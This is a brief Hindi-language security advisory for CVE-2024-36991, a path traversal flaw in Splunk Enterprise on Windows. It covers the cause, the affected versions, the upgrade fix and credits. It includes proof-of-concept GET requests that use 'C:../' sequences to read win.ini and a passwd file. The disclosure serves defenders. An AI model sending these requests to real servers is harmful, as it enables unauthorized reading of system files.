CVE-2024-36991

विंडोज पर Splunk Enterprise में "/Modules/Messaging/" एंडपॉइंट पर पथ अनुरेखण

Splunk Enterprise के 9.2.2, 9.1.5 और 9.0.10 से नीचे के संस्करणों में, एक हमलावर विंडोज पर Splunk Enterprise में /modules/messaging/ एंडपॉइंट पर पथ अनुरेखण कर सकता है।

यह भेद्यता इसलिए मौजूद है क्योंकि Python का os.path.join फ़ंक्शन पथ टोकन से ड्राइव अक्षर को हटा देता है यदि टोकन में ड्राइव निर्मित पथ में ड्राइव से मेल खाता है।

यह भेद्यता केवल विंडोज पर Splunk Enterprise को प्रभावित करनी चाहिए।

POC

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

प्रभावित

9.2 से पहले 9.2.2 तक प्रभावित

9.1 से पहले 9.1.5 तक प्रभावित

9.0 से पहले 9.0.10 तक प्रभावित

समाधान

Splunk Enterprise को संस्करण 9.2.2, 9.1.5 और 9.0.10 या उच्चतर पर अपग्रेड करें।

क्रेडिट

Danylo Dmytriiev (DDV_UA)

संदर्भ

• https://advisory.splunk.com/advisories/SVD-2024-0711